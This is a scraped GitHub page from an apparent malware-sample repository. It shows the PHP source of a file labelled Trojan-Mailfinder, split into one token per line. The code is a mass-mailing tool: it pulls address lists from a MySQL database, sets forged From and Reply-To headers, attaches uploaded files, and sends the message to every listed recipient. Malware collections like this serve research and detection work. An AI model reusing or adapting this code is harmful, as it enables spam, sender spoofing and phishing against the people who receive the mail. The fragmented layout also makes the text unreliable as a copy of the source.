FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
MalwareSourceCode/PHP/Trojan-Mailfinder.PHP.Massma.j at main · DummyKitty/MalwareSourceCode · GitHub
DummyKitty
MalwareSourceCode
Repository navigation
Code
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
MalwareSourceCode
/
PHP
/
Trojan-Mailfinder.PHP.Massma.j
Copy path
More file actions
More file actions
Latest commit
History
History
History
183 lines (172 loc) · 7.48 KB
Breadcrumbs
MalwareSourceCode
/
PHP
/
Trojan-Mailfinder.PHP.Massma.j
Copy path
File metadata and controls
183 lines (172 loc) · 7.48 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
<
?
include
"
./head.php
"
;
If
(
$ac
tion
==
"
mysql
"
)
{
include
"
./mysql.info.php
"
;
if
(
!
$
sqlhost
||
!
$
sqllogin
||
!
$
sqlpass
||
!
$
sqldb
||
!
$
sqlquery
)
{
print
"
Please configure mysql.info.php with your MySQL information. All settings in this config file are required.
"
;
exit
;
}
$db
=
mysql_connect
(
$
sqlhost
,
$
sqllogin
,
$
sqlpass
)
or
die
(
"
Connection to MySQL Failed.
"
)
;
mysql_select_db
(
$
sqldb
,
$db
)
or
die
(
"
Could not select database $sqldb
"
)
;
$
result
=
mysql_query
(
$
sqlquery
)
or
die
(
"
Query Failed: $sqlquery
"
)
;
$
numrows
=
mysql_num_rows
(
$
result
)
;
for
(
$
x
=
0
;
$
x
<
$
numrows
;
$
x
++
)
{
$
result_row
=
mysql_fetch_row
(
$
result
)
;
$
oneemail
=
$
result_row
[
0
]
;
$e
maillist
.
=
$
oneemail
.
"
\n
"
;
}
}
if
(
$ac
tion
==
"
send
"
)
{
$
message
=
urlencode
(
$
message
)
;
$
message
=
ereg_replace
(
"
%5C%22
"
,
"
%22
"
,
$
message
)
;
$
message
=
urldecode
(
$
message
)
;
$
message
=
stripslashes
(
$
message
)
;
$
subject
=
stripslashes
(
$
subject
)
;
}
?
><
title
><
/
title
>
<
form
name
=
"
form1
"
method
=
"
post
"
action
=
"
"
enctype
=
"
multipart/form-data
"
>
<
table
width
=
"
813
"
height
=
"
209
"
border
=
"
0
"
background
=
"
image/php.gif
"
>
<
tr
>
<
td
width
=
"
357
"
><
p
align
=
"
left
"
><
font
size
=
"
1
"
face
=
"
Geneva, Arial, Helvetica, sans-serif
"
><
/
font
><
/
p
>
<
table
width
=
"
355
"
border
=
"
0
"
>
<
tr
>
<
td
width
=
"
345
"
><
font
color
=
"
#FF6600
"
size
=
"
-1
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
><
strong
>
Your
Email
:
<
/
strong
><
/
font
><
/
td
>
<
/
tr
>
<
tr
>
<
td
><
font
size
=
"
-1
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
>
<
input
type
=
"
text
"
name
=
"
from
"
value
=
"
<? print $from; ?>
"
size
=
"
40
"
>
<
/
font
><
/
td
>
<
/
tr
>
<
tr
>
<
td
><
strong
><
font
color
=
"
#FF0000
"
size
=
"
-1
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
>
Reply
-
To
:
<
/
font
><
/
strong
><
/
td
>
<
/
tr
>
<
tr
>
<
td
><
font
size
=
"
-1
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
>
<
input
type
=
"
text
"
name
=
"
replyto
"
value
=
"
<? print $replyto; ?>
"
size
=
"
30
"
>
<
/
font
><
/
td
>
<
/
tr
>
<
tr
>
<
td
>
&
nbsp
;
<
/
td
>
<
/
tr
>
<
tr
>
<
td
><
font
color
=
"
#FF0000
"
size
=
"
-1
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
><
strong
>
Subject
:
<
/
strong
><
/
font
><
/
td
>
<
/
tr
>
<
tr
>
<
td
><
font
size
=
"
-1
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
>
<
input
type
=
"
text
"
name
=
"
subject
"
value
=
"
<? print $subject; ?>
"
size
=
"
50
"
>
<
/
font
><
/
td
>
<
/
tr
>
<
tr
>
<
td
><
table
width
=
"
345
"
border
=
"
0
"
align
=
"
left
"
>
<
tr
>
<
td
width
=
"
97
"
height
=
"
30
"
><
font
color
=
"
#FF0000
"
size
=
"
-1
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
><
strong
>
Your
Name
:
<
/
strong
><
/
font
><
/
td
>
<
td
width
=
"
238
"
><
font
size
=
"
-1
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
>
<
input
type
=
"
text
"
name
=
"
realname
"
value
=
"
<? print $realname; ?>
"
size
=
"
30
"
>
<
/
font
><
/
td
>
<
/
tr
>
<
/
table
>
<
p
>
&
nbsp
;
<
/
p
>
<
table
width
=
"
425
"
border
=
"
0
"
align
=
"
left
"
>
<
tr
>
<
td
width
=
"
88
"
height
=
"
28
"
><
font
color
=
"
#FF6600
"
size
=
"
-1
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
><
strong
>
Attach
File
:
<
/
strong
><
/
font
><
/
td
>
<
td
width
=
"
321
"
><
font
size
=
"
-1
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
>
<
input
type
=
"
file
"
name
=
"
file
"
size
=
"
30
"
>
<
/
font
><
/
td
>
<
/
tr
>
<
/
table
>
<
p
>
&
nbsp
;
<
/
p
><
/
td
>
<
/
tr
>
<
tr
>
<
td
><
font
size
=
"
-1
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
>
<
input
type
=
"
radio
"
name
=
"
contenttype
"
value
=
"
plain
"
checked
>
<
font
color
=
"
#FF0000
"
><
strong
>
Plain
<
/
strong
><
/
font
>
<
input
type
=
"
radio
"
name
=
"
contenttype
"
value
=
"
html
"
>
<
font
color
=
"
#FF6600
"
><
strong
>
HTML
<
/
strong
><
/
font
>
<
input
type
=
"
hidden
"
name
=
"
action
"
value
=
"
send
"
>
<
/
font
><
/
td
>
<
/
tr
>
<
tr
>
<
td
><
p
><
font
size
=
"
-1
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
>
<
textarea
name
=
"
message
"
cols
=
"
60
"
rows
=
"
10
"
><
?
print
$
message
;
?
><
/
textarea
>
<
input
type
=
"
submit
"
value
=
"
Send Message
"
>
<
/
font
><
/
p
>
<
p
><
font
size
=
"
-1
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
><
img
src
=
"
image/Status.gif
"
width
=
"
147
"
height
=
"
72
"
><
/
font
><
/
p
><
/
td
>
<
/
tr
>
<
/
table
>
<
/
td
>
<
td
width
=
"
446
"
><
table
width
=
"
338
"
border
=
"
0
"
>
<
tr
>
<
td
width
=
"
328
"
>
&
nbsp
;
<
/
td
>
<
/
tr
>
<
tr
>
<
td
><
p
><
font
size
=
"
-1
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
>
<
textarea
name
=
"
emaillist
"
cols
=
"
40
"
rows
=
"
30
"
><
?
print
$e
maillist
;
?
><
/
textarea
>
<
a
href
=
"
?action=mysql
"
><
strong
><
font
color
=
"
#FF0000
"
>
Load
Addresses
from
MySQL
<
/
font
><
/
strong
><
/
a
>
<
/
font
><
/
p
>
<
/
td
>
<
/
tr
>
<
/
table
>
<
table
width
=
"
336
"
border
=
"
0
"
>
<
tr
>
<
td
width
=
"
326
"
>
&
nbsp
;
<
/
td
>
<
/
tr
>
<
tr
>
<
td
><
strong
><
font
color
=
"
#FF0000
"
size
=
"
1
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
>
Change
The
Lanuage
:
<
/
font
><
/
strong
><
/
td
>
<
/
tr
>
<
tr
>
<
td
><
strong
><
font
size
=
"
2
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
><
a
href
=
"
/KHG/PHP-Mailer/Albanian/index.php
"
><
font
color
=
"
#FF0000
"
>
Albanian
<
/
font
><
/
a
>
-
<
a
href
=
"
/KHG/PHP-Mailer/German/index.php
"
><
font
color
=
"
#FF0000
"
>
German
<
/
font
><
/
a
>
-
<
a
href
=
"
/KHG/PHP-Mailer/English/index.php
"
><
font
color
=
"
#FF0000
"
>
English
<
/
font
>
<
/
a
><
/
font
><
/
strong
><
/
td
>
<
/
tr
>
<
tr
>
<
td
><
strong
><
font
color
=
"
#FF6600
"
size
=
"
1
"
face
=
"
Verdana, Arial, Helvetica, sans-serif
"
>
Lanuage
Now
:
<
font
color
=
"
#0000FF
"
>
English
<
/
font
><
/
font
><
/
strong
><
/
td
>
<
/
tr
>
<
/
table
>
<
p
>
&
nbsp
;
<
/
p
>
<
/
td
>
<
/
tr
>
<
/
table
>
<
p
>
<
?
if
(
$ac
tion
==
"
send
"
)
{
if
(
!
$f
rom
&&
!
$
subject
&&
!
$
message
&&
!
$e
maillist
)
{
print
"
Please complete all fields before sending your message.
"
;
exit
;
}
$a
llemails
=
split
(
"
\n
"
,
$e
maillist
)
;
$
numemails
=
count
(
$a
llemails
)
;
If
(
$f
ile_name
)
{
@
copy
(
$f
ile
,
"
./$file_name
"
)
or
die
(
"
The file you are trying to upload couldn't be copied to the server
"
)
;
$c
ontent
=
fread
(
fopen
(
$f
ile
,
"
r
"
),
filesize
(
$f
ile
))
;
$c
ontent
=
chunk_split
(
base64_encode
(
$c
ontent
))
;
$
uid
=
strtoupper
(
md5
(
uniqid
(
time
())))
;
$
name
=
basename
(
$f
ile
)
;
}
for
(
$
x
=
0
;
$
x
<
$
numemails
;
$
x
++
)
{
$
to
=
$a
llemails
[
$
x
]
;
if
(
$
to
)
{
$
to
=
ereg_replace
(
"
"
,
"
"
,
$
to
)
;
$
message
=
ereg_replace
(
"
&email&
"
,
$
to
,
$
message
)
;
$
subject
=
ereg_replace
(
"
&email&
"
,
$
to
,
$
subject
)
;
print
"
<img src='image/sending.gif'><br> [ $to.......]
"
;
flush
()
;
$
header
=
"
From: $realname <$from>
\r\n
Reply-To: $replyto
\r\n
"
;
$
header
.
=
"
MIME-Version: 1.0
\r\n
"
;
If
(
$f
ile_name
)
$
header
.
=
"
Content-Type: multipart/mixed; boundary=$uid
\r\n
"
;
If
(
$f
ile_name
)
$
header
.
=
"
--$uid
\r\n
"
;
$
header
.
=
"
Content-Type: text/$contenttype
\r\n
"
;
$
header
.
=
"
Content-Transfer-Encoding: 8bit
\r\n\r\n
"
;
$
header
.
=
"
$message
\r\n
"
;
If
(
$f
ile_name
)
$
header
.
=
"
--$uid
\r\n
"
;
If
(
$f
ile_name
)
$
header
.
=
"
Content-Type: $file_type; name=
\"
$file_name
\"\r\n
"
;
If
(
$f
ile_name
)
$
header
.
=
"
Content-Transfer-Encoding: base64
\r\n
"
;
If
(
$f
ile_name
)
$
header
.
=
"
Content-Disposition: attachment; filename=
\"
$file_name
\"\r\n\r\n
"
;
If
(
$f
ile_name
)
$
header
.
=
"
$content
\r\n
"
;
If
(
$f
ile_name
)
$
header
.
=
"
--$uid--
"
;
mail
(
$
to
,
$
subject
,
"
"
,
$
header
)
;
print
"
<img src='image/success.gif'><br>
"
;
flush
()
;
}
}
}
include
"
./foot.php
"
;
?
>
<
/
p
>
<
p
>
&
nbsp
;
<
/
p
>
<
/
form
>
Back
|
FazBrowse Home
|
New Git URL